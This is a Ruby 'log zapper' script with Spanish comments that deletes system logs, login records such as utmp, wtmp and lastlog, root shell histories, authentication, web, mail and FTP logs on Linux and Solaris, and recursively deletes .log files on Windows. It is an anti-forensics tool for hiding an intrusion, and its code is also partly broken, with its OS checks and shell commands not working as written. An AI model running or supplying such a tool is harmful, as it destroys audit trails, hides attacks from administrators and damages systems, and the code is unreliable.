#Log Cleaner. Borrador de logs. #Para servidores unix, windows o sun. #El zapper más rudo (y a la vez inútil) del mercado #Coded by pRotos #protos.nu@gmail.com if RUBY_PLATFORM =~ /linux/ os="linux" end if RUBY_PLATFORM =~ /win/ os="win" end if RUBY_PLATFORM =~ /sun/ os="sun" end puts "Borrando los logs..." case os when linux logs= ["/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp", "/var/log/secure","/root/.ksh_history", "/root/.bash_history", "/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp", "/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm", "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs", "/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog", "/var/log/messages/", "/var/log/proftpd/xferlog.legacy", "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log", "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log", "/var/log/httpsd/ssl.access_log", "/etc/mail/access", "/var/log/qmail", "/var/log/smtpd", "/var/log/samba", "/var/lock/samba", "/root/.Xauthority", "/var/log/poplog", "/var/log/news.all", "/var/log/spooler", "/var/log/news", "/var/log/news/news", "/var/log/news/news.all", "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice", "/var/log/news/suck.err", "/var/log/news/suck.notice", "/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks", "/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log", "/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs", "/var/log/auth"] logs.each {|x| File.delete(x) } system('files=find / -name *.log') system('rm $files') puts "Logs Borrados del sistema" when win system('cd\ ') system('del /S *.log') puts "Logs Borrados del sistema" when sun logs= ["/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog", "/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp", "/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx", "/var/adm/log/asppp.log", "/var/log/syslog", "/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct", "/var/lp/logs/lpsched", "/var/lp/logs/requests", "/var/cron/logs", "/var/saf/_log", "/var/saf/port/log"] logs.each {|x| File.delete(x) } puts "Logs Borrados del sistema" else puts " SO no reconocido" end